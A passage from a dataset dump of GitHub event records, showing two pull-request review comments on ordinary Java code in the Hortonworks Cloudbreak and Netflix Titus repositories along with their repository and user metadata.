type
stringclasses 14
values | public
bool 1
class | payload
stringlengths 2
428k
| repo
dict | actor
dict | org
dict | created_at
timestamp[us] | id
stringlengths 10
11
| other
stringlengths 31
69
|
|---|---|---|---|---|---|---|---|---|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/comments/265016395","pull_request_review_id":213798654,"id":265016395,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2NTAxNjM5NQ==","diff_hunk":"@@ -415,104 +443,76 @@ public void testUpdateImageCatalog(TestContext testContext) {\n .update(cloudbreakClient.getWorkspaceId(), updateRequest);\n entity.setResponse(updateResponse);\n return entity;\n- })\n+ }, key(imgCatalogName))\n .then((testContext1, entity, cloudbreakClient) -> {\n- ImageCatalogV4Response originalRepsonse = testContext1.getSelected(\"ImageCatalogPostActionSelect\");\n+ ImageCatalogV4Response originalRepsonse = testContext1.getSelected(imgCatalogName);\n if (originalRepsonse.getUrl().equals(entity.getResponse().getUrl())) {\n throw new IllegalArgumentException(\"The catalog URL should not be the same after update.\");\n }\n return entity;\n- })\n+ }, key(imgCatalogName))","path":"integration-test/src/main/java/com/sequenceiq/it/cloudbreak/newway/testcase/mock/ImageCatalogTest.java","position":542,"original_position":542,"commit_id":"f3aa06b8caf4323b03e297d79f2529967a72a89c","original_commit_id":"f3aa06b8caf4323b03e297d79f2529967a72a89c","user":{"login":"topolyai5","id":2143158,"node_id":"MDQ6VXNlcjIxNDMxNTg=","avatar_url":"https://avatars1.githubusercontent.com/u/2143158?v=4","gravatar_id":"","url":"https://api.github.com/users/topolyai5","html_url":"https://github.com/topolyai5","followers_url":"https://api.github.com/users/topolyai5/followers","following_url":"https://api.github.com/users/topolyai5/following{/other_user}","gists_url":"https://api.github.com/users/topolyai5/gists{/gist_id}","starred_url":"https://api.github.com/users/topolyai5/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/topolyai5/subscriptions","organizations_url":"https://api.github.com/users/topolyai5/orgs","repos_url":"https://api.github.com/users/topolyai5/repos","events_url":"https://api.github.com/users/topolyai5/events{/privacy}","received_events_url":"https://api.github.com/users/topolyai5/received_events","type":"User","site_admin":false},"body":"keys are unnecessary","created_at":"2019-03-13T08:30:19Z","updated_at":"2019-03-13T08:42:50Z","html_url":"https://github.com/hortonworks/cloudbreak/pull/4718#discussion_r265016395","pull_request_url":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/4718","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/comments/265016395"},"html":{"href":"https://github.com/hortonworks/cloudbreak/pull/4718#discussion_r265016395"},"pull_request":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/4718"}}},"pull_request":{"url":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/4718","id":260377220,"node_id":"MDExOlB1bGxSZXF1ZXN0MjYwMzc3MjIw","html_url":"https://github.com/hortonworks/cloudbreak/pull/4718","diff_url":"https://github.com/hortonworks/cloudbreak/pull/4718.diff","patch_url":"https://github.com/hortonworks/cloudbreak/pull/4718.patch","issue_url":"https://api.github.com/repos/hortonworks/cloudbreak/issues/4718","number":4718,"state":"open","locked":false,"title":"Parallel tests","user":{"login":"doktoric","id":1117088,"node_id":"MDQ6VXNlcjExMTcwODg=","avatar_url":"https://avatars3.githubusercontent.com/u/1117088?v=4","gravatar_id":"","url":"https://api.github.com/users/doktoric","html_url":"https://github.com/doktoric","followers_url":"https://api.github.com/users/doktoric/followers","following_url":"https://api.github.com/users/doktoric/following{/other_user}","gists_url":"https://api.github.com/users/doktoric/gists{/gist_id}","starred_url":"https://api.github.com/users/doktoric/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/doktoric/subscriptions","organizations_url":"https://api.github.com/users/doktoric/orgs","repos_url":"https://api.github.com/users/doktoric/repos","events_url":"https://api.github.com/users/doktoric/events{/privacy}","received_events_url":"https://api.github.com/users/doktoric/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-03-12T14:04:19Z","updated_at":"2019-03-13T08:42:50Z","closed_at":null,"merged_at":null,"merge_commit_sha":"8b26f8c3e718ed3e8ee660d11fe3a6de83fc4c41","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/4718/commits","review_comments_url":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/4718/comments","review_comment_url":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/comments{/number}","comments_url":"https://api.github.com/repos/hortonworks/cloudbreak/issues/4718/comments","statuses_url":"https://api.github.com/repos/hortonworks/cloudbreak/statuses/f3aa06b8caf4323b03e297d79f2529967a72a89c","head":{"label":"hortonworks:parallel-tests","ref":"parallel-tests","sha":"f3aa06b8caf4323b03e297d79f2529967a72a89c","user":{"login":"hortonworks","id":898785,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg5ODc4NQ==","avatar_url":"https://avatars2.githubusercontent.com/u/898785?v=4","gravatar_id":"","url":"https://api.github.com/users/hortonworks","html_url":"https://github.com/hortonworks","followers_url":"https://api.github.com/users/hortonworks/followers","following_url":"https://api.github.com/users/hortonworks/following{/other_user}","gists_url":"https://api.github.com/users/hortonworks/gists{/gist_id}","starred_url":"https://api.github.com/users/hortonworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hortonworks/subscriptions","organizations_url":"https://api.github.com/users/hortonworks/orgs","repos_url":"https://api.github.com/users/hortonworks/repos","events_url":"https://api.github.com/users/hortonworks/events{/privacy}","received_events_url":"https://api.github.com/users/hortonworks/received_events","type":"Organization","site_admin":false},"repo":{"id":19638422,"node_id":"MDEwOlJlcG9zaXRvcnkxOTYzODQyMg==","name":"cloudbreak","full_name":"hortonworks/cloudbreak","private":false,"owner":{"login":"hortonworks","id":898785,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg5ODc4NQ==","avatar_url":"https://avatars2.githubusercontent.com/u/898785?v=4","gravatar_id":"","url":"https://api.github.com/users/hortonworks","html_url":"https://github.com/hortonworks","followers_url":"https://api.github.com/users/hortonworks/followers","following_url":"https://api.github.com/users/hortonworks/following{/other_user}","gists_url":"https://api.github.com/users/hortonworks/gists{/gist_id}","starred_url":"https://api.github.com/users/hortonworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hortonworks/subscriptions","organizations_url":"https://api.github.com/users/hortonworks/orgs","repos_url":"https://api.github.com/users/hortonworks/repos","events_url":"https://api.github.com/users/hortonworks/events{/privacy}","received_events_url":"https://api.github.com/users/hortonworks/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/hortonworks/cloudbreak","description":"A tool for provisioning and managing Apache Hadoop clusters in the cloud. Cloudbreak, as part of the Hortonworks Data Platform, makes it easy to provision, configure and elastically grow HDP clusters on cloud infrastructure. Cloudbreak can be used to provision Hadoop across cloud infrastructure providers including AWS, Azure, GCP and OpenStack.","fork":false,"url":"https://api.github.com/repos/hortonworks/cloudbreak","forks_url":"https://api.github.com/repos/hortonworks/cloudbreak/forks","keys_url":"https://api.github.com/repos/hortonworks/cloudbreak/keys{/key_id}","collaborators_url":"https://api.github.com/repos/hortonworks/cloudbreak/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/hortonworks/cloudbreak/teams","hooks_url":"https://api.github.com/repos/hortonworks/cloudbreak/hooks","issue_events_url":"https://api.github.com/repos/hortonworks/cloudbreak/issues/events{/number}","events_url":"https://api.github.com/repos/hortonworks/cloudbreak/events","assignees_url":"https://api.github.com/repos/hortonworks/cloudbreak/assignees{/user}","branches_url":"https://api.github.com/repos/hortonworks/cloudbreak/branches{/branch}","tags_url":"https://api.github.com/repos/hortonworks/cloudbreak/tags","blobs_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/refs{/sha}","trees_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/trees{/sha}","statuses_url":"https://api.github.com/repos/hortonworks/cloudbreak/statuses/{sha}","languages_url":"https://api.github.com/repos/hortonworks/cloudbreak/languages","stargazers_url":"https://api.github.com/repos/hortonworks/cloudbreak/stargazers","contributors_url":"https://api.github.com/repos/hortonworks/cloudbreak/contributors","subscribers_url":"https://api.github.com/repos/hortonworks/cloudbreak/subscribers","subscription_url":"https://api.github.com/repos/hortonworks/cloudbreak/subscription","commits_url":"https://api.github.com/repos/hortonworks/cloudbreak/commits{/sha}","git_commits_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/commits{/sha}","comments_url":"https://api.github.com/repos/hortonworks/cloudbreak/comments{/number}","issue_comment_url":"https://api.github.com/repos/hortonworks/cloudbreak/issues/comments{/number}","contents_url":"https://api.github.com/repos/hortonworks/cloudbreak/contents/{+path}","compare_url":"https://api.github.com/repos/hortonworks/cloudbreak/compare/{base}...{head}","merges_url":"https://api.github.com/repos/hortonworks/cloudbreak/merges","archive_url":"https://api.github.com/repos/hortonworks/cloudbreak/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/hortonworks/cloudbreak/downloads","issues_url":"https://api.github.com/repos/hortonworks/cloudbreak/issues{/number}","pulls_url":"https://api.github.com/repos/hortonworks/cloudbreak/pulls{/number}","milestones_url":"https://api.github.com/repos/hortonworks/cloudbreak/milestones{/number}","notifications_url":"https://api.github.com/repos/hortonworks/cloudbreak/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/hortonworks/cloudbreak/labels{/name}","releases_url":"https://api.github.com/repos/hortonworks/cloudbreak/releases{/id}","deployments_url":"https://api.github.com/repos/hortonworks/cloudbreak/deployments","created_at":"2014-05-10T10:03:07Z","updated_at":"2019-03-12T15:02:22Z","pushed_at":"2019-03-13T07:27:53Z","git_url":"git://github.com/hortonworks/cloudbreak.git","ssh_url":"git@github.com:hortonworks/cloudbreak.git","clone_url":"https://github.com/hortonworks/cloudbreak.git","svn_url":"https://github.com/hortonworks/cloudbreak","homepage":"http://hortonworks.github.io/cloudbreak-docs","size":54344,"stargazers_count":247,"watchers_count":247,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":112,"mirror_url":null,"archived":false,"open_issues_count":14,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":112,"open_issues":14,"watchers":247,"default_branch":"master"}},"base":{"label":"hortonworks:master","ref":"master","sha":"16a9111fc1b6eccd3953be70c7f60206ace4b5d6","user":{"login":"hortonworks","id":898785,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg5ODc4NQ==","avatar_url":"https://avatars2.githubusercontent.com/u/898785?v=4","gravatar_id":"","url":"https://api.github.com/users/hortonworks","html_url":"https://github.com/hortonworks","followers_url":"https://api.github.com/users/hortonworks/followers","following_url":"https://api.github.com/users/hortonworks/following{/other_user}","gists_url":"https://api.github.com/users/hortonworks/gists{/gist_id}","starred_url":"https://api.github.com/users/hortonworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hortonworks/subscriptions","organizations_url":"https://api.github.com/users/hortonworks/orgs","repos_url":"https://api.github.com/users/hortonworks/repos","events_url":"https://api.github.com/users/hortonworks/events{/privacy}","received_events_url":"https://api.github.com/users/hortonworks/received_events","type":"Organization","site_admin":false},"repo":{"id":19638422,"node_id":"MDEwOlJlcG9zaXRvcnkxOTYzODQyMg==","name":"cloudbreak","full_name":"hortonworks/cloudbreak","private":false,"owner":{"login":"hortonworks","id":898785,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg5ODc4NQ==","avatar_url":"https://avatars2.githubusercontent.com/u/898785?v=4","gravatar_id":"","url":"https://api.github.com/users/hortonworks","html_url":"https://github.com/hortonworks","followers_url":"https://api.github.com/users/hortonworks/followers","following_url":"https://api.github.com/users/hortonworks/following{/other_user}","gists_url":"https://api.github.com/users/hortonworks/gists{/gist_id}","starred_url":"https://api.github.com/users/hortonworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hortonworks/subscriptions","organizations_url":"https://api.github.com/users/hortonworks/orgs","repos_url":"https://api.github.com/users/hortonworks/repos","events_url":"https://api.github.com/users/hortonworks/events{/privacy}","received_events_url":"https://api.github.com/users/hortonworks/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/hortonworks/cloudbreak","description":"A tool for provisioning and managing Apache Hadoop clusters in the cloud. Cloudbreak, as part of the Hortonworks Data Platform, makes it easy to provision, configure and elastically grow HDP clusters on cloud infrastructure. Cloudbreak can be used to provision Hadoop across cloud infrastructure providers including AWS, Azure, GCP and OpenStack.","fork":false,"url":"https://api.github.com/repos/hortonworks/cloudbreak","forks_url":"https://api.github.com/repos/hortonworks/cloudbreak/forks","keys_url":"https://api.github.com/repos/hortonworks/cloudbreak/keys{/key_id}","collaborators_url":"https://api.github.com/repos/hortonworks/cloudbreak/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/hortonworks/cloudbreak/teams","hooks_url":"https://api.github.com/repos/hortonworks/cloudbreak/hooks","issue_events_url":"https://api.github.com/repos/hortonworks/cloudbreak/issues/events{/number}","events_url":"https://api.github.com/repos/hortonworks/cloudbreak/events","assignees_url":"https://api.github.com/repos/hortonworks/cloudbreak/assignees{/user}","branches_url":"https://api.github.com/repos/hortonworks/cloudbreak/branches{/branch}","tags_url":"https://api.github.com/repos/hortonworks/cloudbreak/tags","blobs_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/refs{/sha}","trees_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/trees{/sha}","statuses_url":"https://api.github.com/repos/hortonworks/cloudbreak/statuses/{sha}","languages_url":"https://api.github.com/repos/hortonworks/cloudbreak/languages","stargazers_url":"https://api.github.com/repos/hortonworks/cloudbreak/stargazers","contributors_url":"https://api.github.com/repos/hortonworks/cloudbreak/contributors","subscribers_url":"https://api.github.com/repos/hortonworks/cloudbreak/subscribers","subscription_url":"https://api.github.com/repos/hortonworks/cloudbreak/subscription","commits_url":"https://api.github.com/repos/hortonworks/cloudbreak/commits{/sha}","git_commits_url":"https://api.github.com/repos/hortonworks/cloudbreak/git/commits{/sha}","comments_url":"https://api.github.com/repos/hortonworks/cloudbreak/comments{/number}","issue_comment_url":"https://api.github.com/repos/hortonworks/cloudbreak/issues/comments{/number}","contents_url":"https://api.github.com/repos/hortonworks/cloudbreak/contents/{+path}","compare_url":"https://api.github.com/repos/hortonworks/cloudbreak/compare/{base}...{head}","merges_url":"https://api.github.com/repos/hortonworks/cloudbreak/merges","archive_url":"https://api.github.com/repos/hortonworks/cloudbreak/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/hortonworks/cloudbreak/downloads","issues_url":"https://api.github.com/repos/hortonworks/cloudbreak/issues{/number}","pulls_url":"https://api.github.com/repos/hortonworks/cloudbreak/pulls{/number}","milestones_url":"https://api.github.com/repos/hortonworks/cloudbreak/milestones{/number}","notifications_url":"https://api.github.com/repos/hortonworks/cloudbreak/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/hortonworks/cloudbreak/labels{/name}","releases_url":"https://api.github.com/repos/hortonworks/cloudbreak/releases{/id}","deployments_url":"https://api.github.com/repos/hortonworks/cloudbreak/deployments","created_at":"2014-05-10T10:03:07Z","updated_at":"2019-03-12T15:02:22Z","pushed_at":"2019-03-13T07:27:53Z","git_url":"git://github.com/hortonworks/cloudbreak.git","ssh_url":"git@github.com:hortonworks/cloudbreak.git","clone_url":"https://github.com/hortonworks/cloudbreak.git","svn_url":"https://github.com/hortonworks/cloudbreak","homepage":"http://hortonworks.github.io/cloudbreak-docs","size":54344,"stargazers_count":247,"watchers_count":247,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":112,"mirror_url":null,"archived":false,"open_issues_count":14,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":112,"open_issues":14,"watchers":247,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/4718"},"html":{"href":"https://github.com/hortonworks/cloudbreak/pull/4718"},"issue":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/issues/4718"},"comments":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/issues/4718/comments"},"review_comments":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/4718/comments"},"review_comment":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/pulls/4718/commits"},"statuses":{"href":"https://api.github.com/repos/hortonworks/cloudbreak/statuses/f3aa06b8caf4323b03e297d79f2529967a72a89c"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 19638422,
"name": "hortonworks/cloudbreak",
"url": "https://api.github.com/repos/hortonworks/cloudbreak"
}
|
{
"id": 2143158,
"login": "topolyai5",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2143158?",
"url": "https://api.github.com/users/topolyai5"
}
|
{
"id": 898785,
"login": "hortonworks",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/898785?",
"url": "https://api.github.com/orgs/hortonworks"
}
| 2019-03-13T08:30:19 |
9232923133
|
{"actor":{"display_login":"topolyai5"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/comments/308418620","pull_request_review_id":267855462,"id":308418620,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwODQxODYyMA==","diff_hunk":"@@ -0,0 +1,24 @@\n+/*\n+ * Copyright 2019 Netflix, Inc.\n+ *\n+ * Licensed under the Apache License, Version 2.0 (the \"License\");\n+ * you may not use this file except in compliance with the License.\n+ * You may obtain a copy of the License at\n+ *\n+ * http://www.apache.org/licenses/LICENSE-2.0\n+ *\n+ * Unless required by applicable law or agreed to in writing, software\n+ * distributed under the License is distributed on an \"AS IS\" BASIS,\n+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n+ * See the License for the specific language governing permissions and\n+ * limitations under the License.\n+ */\n+package com.netflix.titus.ext.aws.apigateway;\n+\n+import rx.Observable;\n+\n+public interface ApiGatewayCallbackService {\n+ Observable<ScalingPayload> getJobInstances(String jobId);\n+\n+ Observable<ScalingPayload> setJobInstances(String jobId, ScalingPayload scalingPayload);","path":"titus-ext/aws/src/main/java/com/netflix/titus/ext/aws/apigateway/ApiGatewayCallbackService.java","position":23,"original_position":23,"commit_id":"894126e01472a508d9deb90e4390270126210db1","original_commit_id":"894126e01472a508d9deb90e4390270126210db1","user":{"login":"corindwyer","id":319263,"node_id":"MDQ6VXNlcjMxOTI2Mw==","avatar_url":"https://avatars0.githubusercontent.com/u/319263?v=4","gravatar_id":"","url":"https://api.github.com/users/corindwyer","html_url":"https://github.com/corindwyer","followers_url":"https://api.github.com/users/corindwyer/followers","following_url":"https://api.github.com/users/corindwyer/following{/other_user}","gists_url":"https://api.github.com/users/corindwyer/gists{/gist_id}","starred_url":"https://api.github.com/users/corindwyer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/corindwyer/subscriptions","organizations_url":"https://api.github.com/users/corindwyer/orgs","repos_url":"https://api.github.com/users/corindwyer/repos","events_url":"https://api.github.com/users/corindwyer/events{/privacy}","received_events_url":"https://api.github.com/users/corindwyer/received_events","type":"User","site_admin":false},"body":"Adding comments to the interface methods would help.","created_at":"2019-07-29T20:18:09Z","updated_at":"2019-07-29T20:28:00Z","html_url":"https://github.com/Netflix/titus-control-plane/pull/614#discussion_r308418620","pull_request_url":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/614","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/comments/308418620"},"html":{"href":"https://github.com/Netflix/titus-control-plane/pull/614#discussion_r308418620"},"pull_request":{"href":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/614"}},"in_reply_to_id":308418474},"pull_request":{"url":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/614","id":301795646,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAxNzk1NjQ2","html_url":"https://github.com/Netflix/titus-control-plane/pull/614","diff_url":"https://github.com/Netflix/titus-control-plane/pull/614.diff","patch_url":"https://github.com/Netflix/titus-control-plane/pull/614.patch","issue_url":"https://api.github.com/repos/Netflix/titus-control-plane/issues/614","number":614,"state":"open","locked":false,"title":"Aws gateway callback service","user":{"login":"amit-git","id":2767034,"node_id":"MDQ6VXNlcjI3NjcwMzQ=","avatar_url":"https://avatars2.githubusercontent.com/u/2767034?v=4","gravatar_id":"","url":"https://api.github.com/users/amit-git","html_url":"https://github.com/amit-git","followers_url":"https://api.github.com/users/amit-git/followers","following_url":"https://api.github.com/users/amit-git/following{/other_user}","gists_url":"https://api.github.com/users/amit-git/gists{/gist_id}","starred_url":"https://api.github.com/users/amit-git/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/amit-git/subscriptions","organizations_url":"https://api.github.com/users/amit-git/orgs","repos_url":"https://api.github.com/users/amit-git/repos","events_url":"https://api.github.com/users/amit-git/events{/privacy}","received_events_url":"https://api.github.com/users/amit-git/received_events","type":"User","site_admin":false},"body":"### AWS API Gateway callback service\r\n\r\nAWS API Gateway calls back into Titus Federation endpoints directly. The callback mechanism is configured through a VPC private link mechanism that allows internal VPC endpoints to be integrated with an external AWS service such as a Gateway service.","created_at":"2019-07-28T00:49:27Z","updated_at":"2019-07-29T20:28:00Z","closed_at":null,"merged_at":null,"merge_commit_sha":"f4ea962e7cab1abda920bc07a3b1d6fecbec0175","assignee":null,"assignees":[],"requested_reviewers":[{"login":"fabiokung","id":5755,"node_id":"MDQ6VXNlcjU3NTU=","avatar_url":"https://avatars0.githubusercontent.com/u/5755?v=4","gravatar_id":"","url":"https://api.github.com/users/fabiokung","html_url":"https://github.com/fabiokung","followers_url":"https://api.github.com/users/fabiokung/followers","following_url":"https://api.github.com/users/fabiokung/following{/other_user}","gists_url":"https://api.github.com/users/fabiokung/gists{/gist_id}","starred_url":"https://api.github.com/users/fabiokung/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fabiokung/subscriptions","organizations_url":"https://api.github.com/users/fabiokung/orgs","repos_url":"https://api.github.com/users/fabiokung/repos","events_url":"https://api.github.com/users/fabiokung/events{/privacy}","received_events_url":"https://api.github.com/users/fabiokung/received_events","type":"User","site_admin":false},{"login":"tbak","id":728768,"node_id":"MDQ6VXNlcjcyODc2OA==","avatar_url":"https://avatars3.githubusercontent.com/u/728768?v=4","gravatar_id":"","url":"https://api.github.com/users/tbak","html_url":"https://github.com/tbak","followers_url":"https://api.github.com/users/tbak/followers","following_url":"https://api.github.com/users/tbak/following{/other_user}","gists_url":"https://api.github.com/users/tbak/gists{/gist_id}","starred_url":"https://api.github.com/users/tbak/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tbak/subscriptions","organizations_url":"https://api.github.com/users/tbak/orgs","repos_url":"https://api.github.com/users/tbak/repos","events_url":"https://api.github.com/users/tbak/events{/privacy}","received_events_url":"https://api.github.com/users/tbak/received_events","type":"User","site_admin":false},{"login":"amitaekbote","id":4984257,"node_id":"MDQ6VXNlcjQ5ODQyNTc=","avatar_url":"https://avatars3.githubusercontent.com/u/4984257?v=4","gravatar_id":"","url":"https://api.github.com/users/amitaekbote","html_url":"https://github.com/amitaekbote","followers_url":"https://api.github.com/users/amitaekbote/followers","following_url":"https://api.github.com/users/amitaekbote/following{/other_user}","gists_url":"https://api.github.com/users/amitaekbote/gists{/gist_id}","starred_url":"https://api.github.com/users/amitaekbote/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/amitaekbote/subscriptions","organizations_url":"https://api.github.com/users/amitaekbote/orgs","repos_url":"https://api.github.com/users/amitaekbote/repos","events_url":"https://api.github.com/users/amitaekbote/events{/privacy}","received_events_url":"https://api.github.com/users/amitaekbote/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/614/commits","review_comments_url":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/614/comments","review_comment_url":"https://api.github.com/repos/Netflix/titus-control-plane/pulls/comments{/number}","comments_url":"https://api.github.com/repos/Netflix/titus-control-plane/issues/614/comments","statuses_url":"https://api.github.com/repos/Netflix/titus-control-plane/statuses/894126e01472a508d9deb90e4390270126210db1","head":{"label":"amit-git:aws-gateway-callback-service","ref":"aws-gateway-callback-service","sha":"894126e01472a508d9deb90e4390270126210db1","user":{"login":"amit-git","id":2767034,"node_id":"MDQ6VXNlcjI3NjcwMzQ=","avatar_url":"https://avatars2.githubusercontent.com/u/2767034?v=4","gravatar_id":"","url":"https://api.github.com/users/amit-git","html_url":"https://github.com/amit-git","followers_url":"https://api.github.com/users/amit-git/followers","following_url":"https://api.github.com/users/amit-git/following{/other_user}","gists_url":"https://api.github.com/users/amit-git/gists{/gist_id}","starred_url":"https://api.github.com/users/amit-git/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/amit-git/subscriptions","organizations_url":"https://api.github.com/users/amit-git/orgs","repos_url":"https://api.github.com/users/amit-git/repos","events_url":"https://api.github.com/users/amit-git/events{/privacy}","received_events_url":"https://api.github.com/users/amit-git/received_events","type":"User","site_admin":false},"repo":{"id":143059806,"node_id":"MDEwOlJlcG9zaXRvcnkxNDMwNTk4MDY=","name":"titus-control-plane","full_name":"amit-git/titus-control-plane","private":false,"owner":{"login":"amit-git","id":2767034,"node_id":"MDQ6VXNlcjI3NjcwMzQ=","avatar_url":"https://avatars2.githubusercontent.com/u/2767034?v=4","gravatar_id":"","url":"https://api.github.com/users/amit-git","html_url":"https://github.com/amit-git","followers_url":"https://api.github.com/users/amit-git/followers","following_url":"https://api.github.com/users/amit-git/following{/other_user}","gists_url":"https://api.github.com/users/amit-git/gists{/gist_id}","starred_url":"https://api.github.com/users/amit-git/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/amit-git/subscriptions","organizations_url":"https://api.github.com/users/amit-git/orgs","repos_url":"https://api.github.com/users/amit-git/repos","events_url":"https://api.github.com/users/amit-git/events{/privacy}","received_events_url":"https://api.github.com/users/amit-git/received_events","type":"User","site_admin":false},"html_url":"https://github.com/amit-git/titus-control-plane","description":"Titus is the Netflix Container Management Platform that manages containers and provides integrations to the infrastructure ecosystem.","fork":true,"url":"https://api.github.com/repos/amit-git/titus-control-plane","forks_url":"https://api.github.com/repos/amit-git/titus-control-plane/forks","keys_url":"https://api.github.com/repos/amit-git/titus-control-plane/keys{/key_id}","collaborators_url":"https://api.github.com/repos/amit-git/titus-control-plane/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/amit-git/titus-control-plane/teams","hooks_url":"https://api.github.com/repos/amit-git/titus-control-plane/hooks","issue_events_url":"https://api.github.com/repos/amit-git/titus-control-plane/issues/events{/number}","events_url":"https://api.github.com/repos/amit-git/titus-control-plane/events","assignees_url":"https://api.github.com/repos/amit-git/titus-control-plane/assignees{/user}","branches_url":"https://api.github.com/repos/amit-git/titus-control-plane/branches{/branch}","tags_url":"https://api.github.com/repos/amit-git/titus-control-plane/tags","blobs_url":"https://api.github.com/repos/amit-git/titus-control-plane/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/amit-git/titus-control-plane/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/amit-git/titus-control-plane/git/refs{/sha}","trees_url":"https://api.github.com/repos/amit-git/titus-control-plane/git/trees{/sha}","statuses_url":"https://api.github.com/repos/amit-git/titus-control-plane/statuses/{sha}","languages_url":"https://api.github.com/repos/amit-git/titus-control-plane/languages","stargazers_url":"https://api.github.com/repos/amit-git/titus-control-plane/stargazers","contributors_url":"https://api.github.com/repos/amit-git/titus-control-plane/contributors","subscribers_url":"https://api.github.com/repos/amit-git/titus-control-plane/subscribers","subscription_url":"https://api.github.com/repos/amit-git/titus-control-plane/subscription","commits_url":"https://api.github.com/repos/amit-git/titus-control-plane/commits{/sha}","git_commits_url":"https://api.github.com/repos/amit-git/titus-control-plane/git/commits{/sha}","comments_url":"https://api.github.com/repos/amit-git/titus-control-plane/comments{/number}","issue_comment_url":"https://api.github.com/repos/amit-git/titus-control-plane/issues/comments{/number}","contents_url":"https://api.github.com/repos/amit-git/titus-control-plane/contents/{+path}","compare_url":"https://api.github.com/repos/amit-git/titus-control-plane/compare/{base}...{head}","merges_url":"https://api.github.com/repos/amit-git/titus-control-plane/merges","archive_url":"https://api.github.com/repos/amit-git/titus-control-plane/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/amit-git/titus-control-plane/downloads","issues_url":"https://api.github.com/repos/amit-git/titus-control-plane/issues{/number}","pulls_url":"https://api.github.com/repos/amit-git/titus-control-plane/pulls{/number}","milestones_url":"https://api.github.com/repos/amit-git/titus-control-plane/milestones{/number}","notifications_url":"https://api.github.com/repos/amit-git/titus-control-plane/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/amit-git/titus-control-plane/labels{/name}","releases_url":"https://api.github.com/repos/amit-git/titus-control-plane/releases{/id}","deployments_url":"https://api.github.com/repos/amit-git/titus-control-plane/deployments","creat